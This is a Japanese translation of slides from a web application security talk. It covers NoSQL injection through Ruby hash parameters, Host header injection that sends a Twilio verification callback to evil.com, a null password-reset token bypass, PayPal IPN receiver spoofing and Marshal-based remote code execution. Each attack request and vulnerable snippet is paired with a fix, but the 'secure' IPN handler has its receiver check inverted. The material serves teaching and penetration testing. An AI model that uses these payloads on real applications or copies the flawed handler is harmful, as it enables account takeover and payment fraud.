Post on 12-Jan-2017
私について
▪アプリケーションセキュリティのエキスパート (Web|API)▪開発者 (Python!)
▪オープンソースの伝道師
▪w3af プロジェクトのリーダー
▪Bonsai Information Security の創立者
▪TagCube SaaS の創立者であり開発者
ORM はペンテストの星を殺した
▪全ての現代的な Web 開発フレームワークは、 (no) SQL データベースとの相互作用の概念を提供する。開発者はもはや生の SQL クエリを記述することはない。
Video killed the radio star (youtube)
▪今日では SQL インジェクションに出くわすことは滅多にない。これはテスターが対象となる Web アプリケーションを慎重に掘り下げて、危険性の高い脆弱性を検出することを要求している。
テンプレートとデフォルト HTML エンコードを用いる MVC は XSS を殺した
▪ほとんどの現代の Web 開発フレームワークは、ユーザーに向けて表示する HTML をレンダリングするためにテンプレートを用いる、モデル・ビュー・コントローラー・アーキテクチャを利用している。
▪Jinja2 のようなテンプレートエンジンでは、コンテキストデータが標準で HTML エンコードされている。
▪開発者がクロスサイトスクリプティングに脆弱なテンプレートを作成するには、たくさんのコードを書く必要があるため、脆弱性の抑制につながる。
<ul>{% for user in user_list %} <li><a href="{{ user.url }}">{{ user.username }}</a></li>{% endfor %}</ul>
強引な入力値のデコーディング
Ruby on Rails 、 Sinatra およびその他の (ruby ベースの ) Web フレームワークは強引な入力値のデコーディングを行う:
http://www.phrack.org/papers/attacking_ruby_on_rails.html
post '/hello' do name = params[:name] render_response 200, name
POST /hello HTTP/1.1Host: example.comContent-Type: application/x-www-form-urlencoded
name=andres
POST /hello HTTP/1.1Host: example.comContent-Type: application/json
{"name": "andres"}
Ruby ハッシュへのデコード
POST /hello HTTP/1.1Host: example.comContent-Type: application/json
{"name": {"foo": 1}}
前述のすべての場合では name 変数の型は String 型だった。しかし我々はそれをハッシュ型に強制できる:
noSQL ODM の導入
MongoId ODM (Object Document Mapper) のようなフレームワークを用いる場合、開発者は以下のようなコードを記述できる:
以上のコードは Mongo データベースにクエリを送信し、 user_id と confirmation_token が一致する最初の登録情報を返す
post '/registration/complete' doregistration = Registration.where({ user_id: params[:user_id], confirmation_token: params[:token]}).first...
POST /registration/complete HTTP/1.1Host: vulnerable.comContent-Type: application/json
{"token": "dee1303d11814cf70d21a5193030bb8e", "user_id": 3578}
noSQL ODM の複雑なクエリ
開発者は Ruby ハッシュをパラメータとして扱うことにより、複雑な ODM クエリを記述できる:
user = Users.where({user_id: params[:user_id], country: {"$ne": "Argentina"}}).first
users = Users.where({user_id: {"$in": [123, 456, 789]}})
ハッシュ値のデコードは noSQL インジェクションを引き起こすトークンの検証をバイパス可能!
post '/registration/complete' doregistration = Registration.where({ user_id: params[:user_id], confirmation_token: params[:token]}).first...
POST /registration/complete HTTP/1.1Host: vulnerable.comContent-Type: application/json
{"token": {"$ne": "nomatch"}, "user_id": 3578}
“ ユーザー制御の入力値” .to_sこの脆弱性を素早く簡単に修正する:
ほとんどの開発者は .to_s を加えることを忘れるだろう。そしてその過失はソースコードのレビューで簡単に見過ごされるだろう。 Sinatra param のようなものを使うことを推奨する。
get '/registration/complete' do @registration = Registration.where({ user_id: params[:user_id].to_s, confirmation_token: params[:token].to_s }).first ...
私の本人確認をするために電話をくれ #1アプリケーションはユーザーに携帯電話を用いた本人確認を要求する。電話の呼び出しは Twilio のようなサービスを用いたアプリケーションによって初期化され、電話の音声は、電話の所有者を確認するためにアプリケーションに入力させる確認コードを読み上げる。
HTTP リクエスト私の電話番号は +1 (541) 754-3010 だ
確認してくれ
私の本人確認をするために電話をくれ #2
+1 (541) 754-3010 に電話確認コード 357896 を音声で伝達
HTTP リクエスト+1 (541) 754-3010 に電話をくれ
電話の音声は https://vulnerable.com/audio/<uuid-4> か
ら利用できる
HTTP リクエストhttps://vulnerable.com/audio/<uuid-4>
電話検証のバイパス
ハッカーは電話検証をバイパスしたい。そのアイデアは:
▪管理者のスマートフォンをハックする▪vulnerable.com をハックする▪携帯電話の電波塔を建設して、管理者の電話を盗聴す
る▪Twilio をハックする
vulnerable.com をハッキングする手法が一番簡単そうだ。でも・・・その必要があるのか?
UUID4バージョン 4 の UUIDs は 乱数のみに依存する設計である。従って音声の URL は総当り攻撃で特定できない:
https://vulnerable.com/audio/f47ac10b-58cc-4372-a567-0e02b2c3d479
Twilio への HTTP リクエストに注目
HTTP リクエスト+1 (541) 754-3010 に電話をくれ
電話の音声は https://vulnerable.com/audio/<uuid-4> か
ら利用できる
POST /call/new HTTP/1.1Host: api.twilio.comContent-Type: application/jsonX-Authentication-Api-Key: 2bc67a5...
{"phone_number": "+1 (541) 754-3010"}, "audio_callback": "https://vulnerable.com/f47ac10b-5..."}
セキュアではない Twilio API コール
HTTP リクエスト+1 (541) 754-3010 に電話をくれ
電話の音声は https://vulnerable.com/audio/<uuid-4> か
ら利用できる
import requests
def start_call(phone, callback_url): requests.post('https://api.twilio.com/call', data={'phone_number': phone, 'audio_callback': callback_url})
…audio_id = generate_audio(request.user_id)callback_url = 'https://%s/%s' % (request.host, audio_id)start_call(request['phone'], callback_url)
攻撃のためにホストヘッダを変更
HTTP リクエスト私の電話番号は +1 (541) 754-3010 だ
確認してくれ
POST /verify-my-phone HTTP/1.1Host: vulnerable.comContent-Type: application/json
{"phone_number": "+1 (541) 754-3010"}}
POST /verify-my-phone HTTP/1.1Host: evil.comContent-Type: application/json
{"phone_number": "+1 (541) 754-3010"}}
callback_url の変更における攻撃の実行結果
HTTP リクエスト+1 (541) 754-3010 に電話をくれ
電話の音声は https://evil.com/audio/<uuid-4> から利
用できる
HTTP リクエストhttps://evil.com/audio/<uuid-4>
HTTP リクエストhttps://vulnerable.com/audio/<uuid-4>
必須:ホストヘッダの厳格な検証
▪自分が使っている nginx 、 apache 、 Web フレームワークで、コードが実行されるまでにホストヘッダの検証が行われているか確認しよう。
▪Django では ALLOWED_HOSTS 設定を施すことでホストヘッダの厳格な検証を行っている。
パスワードのリセット
▪パスワードのリセットは非常に繊細なことであり、ある場合においてはセキュアではない。最も望まれる脆弱性は、我々が所持していないパスワードリセット・トークンを利用しているユーザーのパスワードがリセットできることだ。
▪大抵の場合パスワードのリセットは以下の手順に従う:
▪ユーザーが新規パスワードリセット行程を開始する。
▪ユーザーの元に、ランダムに生成されたトークンが記載された電子メールが、アプリケーションから送信される。
▪トークンは、ユーザーが電子メールアドレスを利用可能であるかを証明することと、パスワードのリセットに用いられる。
実装の詳細
class AddPasswordResetTokenToUser < ActiveRecord::Migration def change add_column :users, :pwd_reset_token, :string, default: nil endend
post '/start-password-reset' do: user = Users.where({"email": params["email"]}).first token = generate_random_token() user.pwd_reset_token = token user.save! send_email(user.email, token)
post '/complete-password-reset' do: user = Users.where({"pwd_reset_token": params["token"]}).first user.password = params["new_password"] user.pwd_reset_token = nil user.save!
トークンの初期設定はデータベース内では NULL
POST /complete-password-reset HTTP/1.1Host: vulnerable.comContent-Type: application/json
{"token": null, "new_password": "l3tm31n"}
▪新しいユーザーが作成されるたびに、データベースに記録されているそのユーザーの pwd_reset_token フィールドを NULL に設定する
▪ユーザーが新たなパスワードリセットの行程を開始する際にランダムに生成されたトークンが pwd_reset_token に割り当てられる
▪もし以下のような場合はどうするだろう・・・
安全な初期設定と制限された型検証
post '/complete-password-reset' do: user = Users.where({"pwd_reset_token": params["token"].to_s}).first user.password = params["new_password"] user.pwd_reset_token = nil user.save!
class AddPasswordResetTokenToUser < ActiveRecord::Migration def change add_column :users, :pwd_reset_token, :string, default: generate_random_token() endend
Paypal の一時的な支払い通知
▪私は支払いゲートウェイが大好きだ!この議題に関する以前の私の講演を見てほしい。
▪Paypal はサイトに新たな支払いの行程が発生したことや、アプリケーション内でユーザーの資金を増やすというような作業を実行するべきだということを知らせるために IPN を用いる。
▪取引先サイトの開発者は IPN URL を Paypal の業者アカウント設定に設定する。: https://www.example.com/paypal-handler
業者 ユーザー
ユーザーが "Pay with Paypal" をクリック
ユーザーが Paypal で支払い
IPN で支払い情報を送信
Paypal が POST を用いて
Paypal API によって検証される
業者が承認した支払いが
検証完了
イベント
支払い完了
Paypal の IPN HTTP リクエストに注目POST /paypal-handler HTTP/1.1Host: www.example.comContent-Type: application/x-www-form-urlencoded
mc_gross=19.95&protection_eligibility=Eligible&address_status=confirmed&payer_id=LPLWNMTBWMFAY&tax=0.00&address_street=1+Main+St&payment_date=20%3A12%3A59+Jan+13%2C+2009+PST&payment_status=Completed&charset=windows-1252&address_zip=95131&first_name=Test&mc_fee=0.88&address_country_code=US&address_name=Test+User¬ify_version=2.6&custom=665588975&payer_status=verified&address_country=United+States&address_city=San+Jose&quantity=1&verify_sign=AtkOfCXbDm2hu0ZELryHFjY-Vb7PAUvS6nMXgysbElEn9v-1XcmSoGtf&payer_email=gpmac_1231902590_per%40paypal.com&txn_id=61E67681CH3238416&payment_type=instant&last_name=User&address_state=CA&receiver_email=gpmac_1231902686_biz%40paypal.com&payment_fee=0.88&receiver_id=S8XGHLYDW9T3S&txn_type=express_checkout&item_name=&mc_currency=USD&item_number=&residence_country=US&handling_amount=0.00&transaction_subject=&payment_gross=19.95&shipping=0.00
Paypal の IPN HTTP リクエストに注目
我々が理解する必要があるのはほんの数パラメータ:
▪mc_gross=19.95 はユーザーが支払った金額
▪custom=665588975 は取引アプリでのユーザー ID であり、ユーザーが業者の “ Pay with Paypal” ボタンをクリックした際に Paypal に送信される情報
▪receiver_email=gpmac_1231902686_biz%40paypal.com は取引に用いている電子メールアドレス
▪payment_status=Completed は支払いステータス
なぜ業者は確認に IPN 情報を用いるのか?
支払い完了
検証完了
イベント
Paypal API によって検証される
業者が承認した支払いが
IPN で支払い情報を送信
Paypal が POST を用いて
セキュアではない IPN ハンドラ
import requests
PAYPAL_URL = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate'
def handle_paypal_ipn(params): # params contains all parameters sent by Paypal response = requests.post(PAYPAL_URL, data=params).text
if response == 'VERIFIED': # The payment is valid at Paypal, mark the cart instance as paid cart = Cart.get_by_id(params['custom']) cart.record_user_payment(params['mc_gross']) cart.user.send_thanks_email else: return 'Error'
セキュアではない IPN ハンドラ - 受信者の電子メールアドレスを検証していない
Paypal アカウントを作成
業者 攻撃者
IPN URL を evil.com に設定
custom=固有の購入 id で
Pay ボダンを作成
作成したボタンで支払い
IPN に支払い情報を送信
Paypal が POST を用いて
セキュアではない IPN ハンドラ - 受信者の電子メールアドレスを検証していない
攻撃者は攻撃者自身の Paypal トランザクションに
業者 攻撃者
POST を用いた IPN で支払い情報を送信
支払い完了
検証完了
イベント
Paypal API によって検証される
業者が承認した支払いが
▪攻撃者は攻撃対象のアカウントを偽装した Paypal での支払いを成功させるために、攻撃対象による偽装された支払いに関連付けられた、固有の custom_id パラメータ を知っている必要がある。
▪その支払いは攻撃者のクレジットカードから、攻撃対象の Paypal アカウントに発生する。金銭はまだ攻撃対象の制御下にある。しかし攻撃者は、各トランザクションごとに Paypal の権限 を失う。
▪多くの github.com での IPN の実装例は脆弱である。それらの実装例を用いて開発された現存製品のアプリケーションがどのくらい流通しているのだろうか?
セキュアな IPN ハンドラ import requests
PAYPAL_URL = 'https://www.paypal.com/cgi-bin/webscr?cmd=_notify-validate'MERCHANT_PAYPAL_USER = 'foo@bar.com'
def handle_paypal_ipn(params): if params['receiver_email'] == MERCHANT_PAYPAL_USER: return 'Error'
# params contains all parameters sent by Paypal response = requests.post(PAYPAL_URL, data=params).text
if response == 'VERIFIED': # The payment is valid at Paypal, mark the cart instance as paid cart = Cart.get_by_id(params['custom']) cart.record_user_payment(params['mc_gross']) cart.user.send_thanks_email else: return 'Error'
これは Paypal の過失なのか ?▪全ての支払いゲートウェイは脆弱か?
▪MercadoPago は IPN を異なる通信プロトコルで実装している。彼らのプロトコル は Paypal のものより優れており、セキュリティを確保するための開発者の IPN ハンドラの実装に依存しない。
▪MercadoPago は購入 ID を含む GET リクエストを IPN URL に送信するため、開発者はトランザクションの詳細情報を利用するために https://api.mercadopago.com/ に GET リクエストを送信する必要がある。このリクエストは認証されており、他の業者からのトランザクションへのアクセスを拒否する。
ActiveSupport::MessageVerifier マーシャルにおける遠隔コード実行
▪ ActiveSupport::MessageVerifier は Ruby のマーシャルを、開発者が発行した秘密鍵で署名された任意の情報のシリアル化に用いる。検証されたメッセージは以下のように見える:
▪ メッセージはデコード可能:
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
1.9.3-p551 :006 > Base64.decode64('BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==') => "\x04\bI\"\x1Aandres@bonsai-sec.com\x06:\x06ET" 1.9.3-p551 :007 > Marshal.load(Base64.decode64('BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==')) => "andres@bonsai-sec.com" 1.9.3-p551 :008 >
ActiveMessages は署名される
▪ アプリケーションが署名されたメッセージを受け取る際に、 base64 エンコードされたデータを受信し、サイトの開発者が管理する秘密鍵を用いて HMAC SHA1 が算出される。
▪算出された署名はメッセージから供給されるものと一致する必要がある:
▪ 署名が検証されるとデータは base64 デコードされマーシャルが解除される。
BAhJIh...--8bacd5cb3e72ed7c457aae1875a61d668438b616
推測可能な秘密鍵による署名が引き起こす遠隔コード実行Ruby の公式ドキュメント には、任意のデータのマーシャリング解除はセキュアではなく、任意のコード実行を引き起こす可能性があると明確に記述されている。 ActiveSupport::MessageVerifier は、開発者が管理する秘密鍵によって引き起こされるその脆弱性に対して保護されている。劣悪な秘密鍵は以下の問題を引き起こす:
1.総当り攻撃により秘密鍵を特定
2.細工されたガジェットやオブジェクトを作成し、シリアルかとエンコードを実行
3.特定された秘密鍵を用いてガジェットに署名
4.署名されたメッセージがアプリケーションに送信されマーシャルが解除され遠隔コード実行を引き起こすガジェットがアプリケーションに蓄積
セキュアな ActiveSupport::MessageVerifier の利用法
▪ ランダムに生成された、長い秘密鍵で、メッセージに署名しよう
▪異なるシリアル化メソッドを使おう:@verifier = ActiveSupport::MessageVerifier.new(long_secret, serializer: json)
脆弱性は常にそこに潜んでいる
▪あなたたちはツールよりも賢い。つまらない仕事は自動化して、ソースコードのレビュー、アプリケーションの論理的欠陥や対象アプリケーションの性能の理解を深めることなどに集中しよう。
▪あなたたちは顧客よりも賢い。彼らに確信させよう。あなたがソースコードからより多くの脆弱性を発見し、大きな投資対効果をもたらすということを。
▪あなたたちはそこら辺の開発者よりも賢い ( セキュリティや脆弱性、リスクに関する教育訓練を受けている ) 。彼らがいかに善良であっても過ちを犯す。